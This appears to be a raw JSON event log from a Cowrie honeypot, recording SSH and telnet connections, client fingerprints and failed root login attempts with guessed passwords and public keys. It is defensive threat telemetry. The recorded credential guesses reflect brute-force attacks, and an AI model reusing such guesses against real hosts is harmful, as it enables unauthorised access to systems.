{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55866,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be98fa680e1","protocol":"telnet","message":"New connection: 192.119.13.58:55866 (10.17.0.5:23) [session: 6be98fa680e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:54.702799Z"}
{"eventid":"cowrie.session.closed","duration":38.798344135284424,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:54.814394Z","src_ip":"192.119.13.58","session":"2523d4b28682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35222,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ba78f26e4c","protocol":"telnet","message":"New connection: 192.119.13.58:35222 (10.17.0.5:23) [session: 87ba78f26e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:56.657238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e74e76be33e","protocol":"telnet","message":"New connection: 192.119.13.58:40788 (10.17.0.5:23) [session: 7e74e76be33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:57.935015Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50256,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19c7ba1463d","protocol":"telnet","message":"New connection: 192.119.13.58:50256 (10.17.0.5:23) [session: b19c7ba1463d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:00.275982Z"}
{"eventid":"cowrie.session.closed","duration":43.10802245140076,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:00.401431Z","src_ip":"192.119.13.58","session":"0fc32a936c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d6250103fd","protocol":"telnet","message":"New connection: 192.119.13.58:46820 (10.17.0.5:23) [session: 52d6250103fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:07.410122Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":52142,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cbca01ff205","protocol":"ssh","message":"New connection: 43.134.100.175:52142 (159.203.135.109:22) [session: 3cbca01ff205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:09.089833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:09.093999Z","src_ip":"43.134.100.175","session":"3cbca01ff205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:09.343553Z","src_ip":"43.134.100.175","session":"3cbca01ff205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stu","message":"login attempt [root/stu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:10.357285Z","src_ip":"43.134.100.175","session":"3cbca01ff205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"220c265cdb5e","protocol":"ssh","message":"New connection: 193.37.70.224:38130 (10.17.0.5:22) [session: 220c265cdb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:10.531579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:10.537121Z","src_ip":"193.37.70.224","session":"220c265cdb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:10.632561Z","src_ip":"193.37.70.224","session":"220c265cdb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzz","message":"login attempt [root/zzzzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:11.119572Z","src_ip":"193.37.70.224","session":"220c265cdb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:11.606533Z","src_ip":"43.134.100.175","session":"3cbca01ff205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:12.217220Z","src_ip":"193.37.70.224","session":"220c265cdb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2abf7be8482","protocol":"telnet","message":"New connection: 192.119.13.58:45188 (10.17.0.5:23) [session: b2abf7be8482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:19.970474Z"}
{"eventid":"cowrie.session.closed","duration":36.639601945877075,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:21.283565Z","src_ip":"192.119.13.58","session":"339b9519589c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":53874,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af99c183af5","protocol":"ssh","message":"New connection: 103.176.90.41:53874 (10.17.0.5:22) [session: 9af99c183af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.235044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.240113Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.327105Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":43634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74f96987cab","protocol":"ssh","message":"New connection: 69.6.222.198:43634 (159.203.135.109:22) [session: e74f96987cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.370516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.375663Z","src_ip":"69.6.222.198","session":"e74f96987cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.490162Z","src_ip":"69.6.222.198","session":"e74f96987cab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:32:b2:8e:eb:63:d5:8b:d0:78:2c:5c:2f:86:65:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfrUnRDsitSG7ZGliGSnU1BeVmqIRFMb4KDvhxGfZ6ANLQRMPAHqud6zmZua2E7Hi8/9wzwH8fgdbPmlMDjR6cp2qNeUMnaoxg+RDhwC/wIlQwR+fdM6vLnEi4UPfqSz9Qd063GMelKpX33YM4pAzUqde4HPBlc5YD6zhJ/Ewe1IKDIhXF+FyhSWnrDP19Q4qUvQTaAy7ro8QR9aGqK2K4MbOL2XJVMf99zLFQcTUH/i9dd/ldge3MsBwCJLuCXCM4IdTP6K0iVttIvdZNW1fRsehBMFXM0ou//cmCIDspBtEL/mqoU3jRJ8bVlSbwi8NVMvq8I0Hxx9GtDMePw3F/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:32:b2:8e:eb:63:d5:8b:d0:78:2c:5c:2f:86:65:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.725173Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:32:b2:8e:eb:63:d5:8b:d0:78:2c:5c:2f:86:65:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfrUnRDsitSG7ZGliGSnU1BeVmqIRFMb4KDvhxGfZ6ANLQRMPAHqud6zmZua2E7Hi8/9wzwH8fgdbPmlMDjR6cp2qNeUMnaoxg+RDhwC/wIlQwR+fdM6vLnEi4UPfqSz9Qd063GMelKpX33YM4pAzUqde4HPBlc5YD6zhJ/Ewe1IKDIhXF+FyhSWnrDP19Q4qUvQTaAy7ro8QR9aGqK2K4MbOL2XJVMf99zLFQcTUH/i9dd/ldge3MsBwCJLuCXCM4IdTP6K0iVttIvdZNW1fRsehBMFXM0ou//cmCIDspBtEL/mqoU3jRJ8bVlSbwi8NVMvq8I0Hxx9GtDMePw3F/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.729215Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:86:6b:b6:ed:3a:ef:9d:a5:ea:b0:62:22:8b:23:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0BwjnBzLb0mMWlDxqKjkmYnaSEXNqaep6HE9HozsJSOmxAEyCUlop2eGdWeHasGZu7nZrNdsQ7YMBvkoKkRT+32QAFEjH2Gbxo+hmB1BWkgdg+M0M42aZzPrUhVrYr4fJh4uaBiHQrMU5rpSpbGv/HnUCW04xk4/Ius25rCPZz+DfnXVLHgQRB7MDcDRuimhDADsg/MPrIj6rh36zu+cAYblVyXci7fmLZjDhCTypbWizLWVH/ZsHfdtbk2dFcw02asfEQzBmiEKXroD4pLlQIepRgBjxrPEcygp4W5aRLCkN8rVp8Xw/KN2ixH8UMLp5VCdWE/o8Eha/u+gaq5lL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:86:6b:b6:ed:3a:ef:9d:a5:ea:b0:62:22:8b:23:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.815581Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:86:6b:b6:ed:3a:ef:9d:a5:ea:b0:62:22:8b:23:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0BwjnBzLb0mMWlDxqKjkmYnaSEXNqaep6HE9HozsJSOmxAEyCUlop2eGdWeHasGZu7nZrNdsQ7YMBvkoKkRT+32QAFEjH2Gbxo+hmB1BWkgdg+M0M42aZzPrUhVrYr4fJh4uaBiHQrMU5rpSpbGv/HnUCW04xk4/Ius25rCPZz+DfnXVLHgQRB7MDcDRuimhDADsg/MPrIj6rh36zu+cAYblVyXci7fmLZjDhCTypbWizLWVH/ZsHfdtbk2dFcw02asfEQzBmiEKXroD4pLlQIepRgBjxrPEcygp4W5aRLCkN8rVp8Xw/KN2ixH8UMLp5VCdWE/o8Eha/u+gaq5lL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.826084Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:ba:9a:46:47:4a:2f:aa:be:10:90:1a:36:83:5c:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3TXNcks0wDCzaxEiThBD630+3PssgktYQDVNroqw+CmNjoB1OU0RKtZN8eKpYytrlf5RAIt9VNPHKAXN7iSYDmeTwdbuS0Zqh5l35vdzXpeVVdxuugWd63y0oBAF2zR147CxKfvvaQWvAnFlonI4XyI47bmQDusRSu5ppgy5nZBW+7cjr+M4GFSG94HjdujH7PoXMlmO+w7otwzD6YQTaq63DXXINRXqERZxalw0fpET9nm6sJJ7EWKt75oD4ZuXB2Sxh87j4RD/r+zcxk0fGUqWW9SHFLdMOayCBgkb/5MS/QmNzAjWFsnBC9vJqXPRTxFIb05gk4rFUqj/rfF3VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:ba:9a:46:47:4a:2f:aa:be:10:90:1a:36:83:5c:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.912502Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:ba:9a:46:47:4a:2f:aa:be:10:90:1a:36:83:5c:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3TXNcks0wDCzaxEiThBD630+3PssgktYQDVNroqw+CmNjoB1OU0RKtZN8eKpYytrlf5RAIt9VNPHKAXN7iSYDmeTwdbuS0Zqh5l35vdzXpeVVdxuugWd63y0oBAF2zR147CxKfvvaQWvAnFlonI4XyI47bmQDusRSu5ppgy5nZBW+7cjr+M4GFSG94HjdujH7PoXMlmO+w7otwzD6YQTaq63DXXINRXqERZxalw0fpET9nm6sJJ7EWKt75oD4ZuXB2Sxh87j4RD/r+zcxk0fGUqWW9SHFLdMOayCBgkb/5MS/QmNzAjWFsnBC9vJqXPRTxFIb05gk4rFUqj/rfF3VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.917204Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa888999","message":"login attempt [root/aaa888999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:24.979271Z","src_ip":"69.6.222.198","session":"e74f96987cab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:46:0a:c0:10:bb:89:a9:23:a4:e6:f9:e1:f8:b1:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAopVk5E186VrgTmSSzNfGFGfTRPyg7x5nPI1uxrAGGbS2XgEMjdnfq2dSzwsr6OCDAaB5YpHQ7qWGFEC4tfDeEwauFMJCx6sKhhUVV4IIR5NQv9+NUfMtNHOgAEx8V3BxuRbPYibKUOKlCZGOaSatDI1fjTuDfxkHFNu2P6JNpDzA669KnwPyOtt3t3O6kvRnsrXaTBGGpvZWKt5gbkrkFbMqmdRRxO33JraSpoBSlDCObARYcLdNAYVNQeE0OsSPa26i20VnSsQBC35eriEVp9NIpVNGOW70w8PmmtwJOkGvj3l11WI6aueSw/1NuY1sVv7DvcyHVtzVfLccjE2P2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:46:0a:c0:10:bb:89:a9:23:a4:e6:f9:e1:f8:b1:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:25.003901Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:46:0a:c0:10:bb:89:a9:23:a4:e6:f9:e1:f8:b1:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAopVk5E186VrgTmSSzNfGFGfTRPyg7x5nPI1uxrAGGbS2XgEMjdnfq2dSzwsr6OCDAaB5YpHQ7qWGFEC4tfDeEwauFMJCx6sKhhUVV4IIR5NQv9+NUfMtNHOgAEx8V3BxuRbPYibKUOKlCZGOaSatDI1fjTuDfxkHFNu2P6JNpDzA669KnwPyOtt3t3O6kvRnsrXaTBGGpvZWKt5gbkrkFbMqmdRRxO33JraSpoBSlDCObARYcLdNAYVNQeE0OsSPa26i20VnSsQBC35eriEVp9NIpVNGOW70w8PmmtwJOkGvj3l11WI6aueSw/1NuY1sVv7DvcyHVtzVfLccjE2P2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:25.009186Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:0b:39:d3:2e:c2:0c:8c:42:42:29:ff:87:a5:4b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzEIRBBYeXHI3TdZbgZpMFv7bCR5crgk0A0Sw5hxNF098otuNzRUH2FH0q2B5kw1qwzwSVZfJ+M8tUbUapKDiI3hXgi1EraxEzF8P0WjF4/lSbN08uuaYfczHtHSFzzaFp3qvDM9PmXse2C7m6+FCdXaSCGNGYgiOIvNzvV9vZ/8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:0b:39:d3:2e:c2:0c:8c:42:42:29:ff:87:a5:4b:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:25.096139Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:0b:39:d3:2e:c2:0c:8c:42:42:29:ff:87:a5:4b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzEIRBBYeXHI3TdZbgZpMFv7bCR5crgk0A0Sw5hxNF098otuNzRUH2FH0q2B5kw1qwzwSVZfJ+M8tUbUapKDiI3hXgi1EraxEzF8P0WjF4/lSbN08uuaYfczHtHSFzzaFp3qvDM9PmXse2C7m6+FCdXaSCGNGYgiOIvNzvV9vZ/8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:25.100490Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:25.190290Z","src_ip":"103.176.90.41","session":"9af99c183af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:26.097814Z","src_ip":"69.6.222.198","session":"e74f96987cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":57380,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7010a57dd1","protocol":"ssh","message":"New connection: 43.163.121.249:57380 (159.203.135.109:22) [session: 8f7010a57dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:27.866846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:27.871644Z","src_ip":"43.163.121.249","session":"8f7010a57dd1","protocol":"ssh"}
